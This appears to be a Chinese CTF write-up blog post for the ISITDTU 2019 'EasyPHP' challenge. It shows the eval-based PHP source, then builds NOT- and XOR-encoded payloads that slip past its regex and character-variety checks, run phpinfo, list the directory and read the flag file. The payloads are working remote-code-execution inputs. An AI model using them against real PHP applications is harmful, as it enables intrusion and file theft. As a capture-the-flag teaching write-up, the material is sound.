[ISITDTU 2019]EasyPHP rce替换字母

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

打开界面有两个if

首先要绕过第一个正则,限制了 oxoo-空格的字符 和数字,还有一些字母

然后第二个就是字符的种类不能超过13个

首先第一个用取反,传入?_=(~%8F%97%8F%96%91%99%90)();没反应

这里有一个点,取反=异或%FF

((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();

这里在注意外面需要加一层括号,(())();

是一样的效果,然后发现出现phpinfo()

<?php
echo urlencode(~"phpinfo");

 ((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();

 出现phpinfo环境,然后我们利用print_r(scandir(.));显示当前目录,开始构造

((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

 发现太长了然后

<?php
$_="((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));";


echo strlen(count_chars($_,3));
echo "\n";

返回结果是16,我们只要<=13就可以,所以我们需要用已有的字母来构造其中三个字母

print_r     这里ntr用其他字母代替

(scandir(.));

str = 'acdips'
target = 'ntr'
for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))
//((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

n = c^d^i    %91=%9C^%9B^%8D

 t = c^d^s   %8B=%9C^%9B^%8C

 r = a^c^p   %8D=%9E^%9C^%8F

print_r=(%8F%8D%96%9C%9C%A0%9E)^(%FF%FF%FF%9B%9B%FF%8C)^(%FF%FF%FF%8D%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF);

scandir=

(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%8D%FF%FF%8F)^%FF%FF%FF%FF%FF%FF%FF);

((%8F%8D%96%9C%9C%A0%9E)^(%FF%FF%FF%9B%9B%FF%8C)^(%FF%FF%FF%8D%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%8D%FF%FF%8F)^%FF%FF%FF%FF%FF%FF%FF)) ((%D1)^(%FF)));

上面print的r忘了换,大概思路就这样直接是下面这个

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
 

 然后我们就想获得数组的mowei,show_source(end(scandir(.));

或者readfile(end(scandir(.)))相同的道理

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

获得flag 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值